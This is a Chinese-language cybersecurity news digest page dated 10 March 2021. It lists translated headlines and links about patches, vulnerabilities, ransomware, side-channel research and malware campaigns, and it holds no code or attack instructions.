2、研究人员证明和测试了针对苹果M1芯片的侧信道攻击
https://www.securityweek.com/researchers-show-first-side-channel-attack-against-apple-m1-chips
3、白帽黑客获取了包括特斯拉、银行、学校等超过15W个摄像头权限
https://securityaffairs.co/wordpress/115466/hacking/surveillance-cameras-hacked.html
4、欧洲最大的托管服务提供商OVH一座数据中心遭大火摧毁
https://securityaffairs.co/wordpress/115457/breaking-news/ovh-data-centers-fire.html
5、基于Nim的恶意软件加载器通过鱼叉钓鱼邮件传播
https://threatpost.com/nim-based-malware-loader-spreads-via-spear-phishing-emails/164643/
6、 Adobe发布更新修复了产品中任意代码执行漏洞
https://threatpost.com/adobe-critical-flaws-windows/164611/
7、Clast82恶意软件通过谷歌Play商店分发间谍木马
https://thehackernews.com/2021/03/9-android-apps-on-google-play-caught.html
8、西门子修复了第三方组件中的漏洞
https://www.securityweek.com/siemens-releases-several-advisories-vulnerabilities-third-party-components
9、苹果发布安全补丁程序修复了远程代码执行漏洞
https://securityaffairs.co/wordpress/115423/hacking/apple-cve-2021-1844-rce.html
10、SAP修复了MII,NetWeaver产品中关键漏洞
https://www.securityweek.com/sap-patches-critical-flaws-mii-netweaver-products
网络安全日报 2021年03月10日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Microsoft周二发布安全更新修复了89个漏洞
https://www.securityweek.com/microsoft-ships-massive-security-patch-bundle
2、苹果发布更新修复WebKit中远程代码执行漏洞
https://www.securityweek.com/apple-patches-remote-code-execution-bug-webkit
3、GitHub通知用户严重的身份验证漏洞
https://www.securityweek.com/github-informs-users-potentially-serious-authentication-bug
4、研究人员发现针对Intel CPU新的侧通道攻击方法
https://www.securityweek.com/new-side-channel-attack-targets-intel-cpu-ring-interconnect
5、法国Oloron-Sainte-Marie医院遭勒索软件攻击
https://securityaffairs.co/wordpress/115434/cyber-crime/french-hospital-ransomware-attack.html
6、欧洲银行管理局(EBA)Exchange服务器遭黑客攻击
https://securityaffairs.co/wordpress/115396/data-breach/eba-microsoft-exchange-hacked.html
7、UnityMiner挖矿活动针对QNAP NAS设备
https://securityaffairs.co/wordpress/115403/hacking/unityminer-qnap-nas-devices.html
8、新的Sarbloh勒索软件针对印度特定的政治实体
https://www.technadu.com/sarbloh-ransomware-targets-specific-political-entities-india/253061/
9、Guardians应用存在漏洞泄露了用户的实时位置
https://ciso.economictimes.indiatimes.com/news/truecallers-guardians-app-was-leaking-live-location-details-issue-fixed/81394070
10、威廉姆斯新FW43B汽车发布会遭黑客破坏
https://securityaffairs.co/wordpress/115377/hacking/williams-fw43b-launch-hackers.html
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

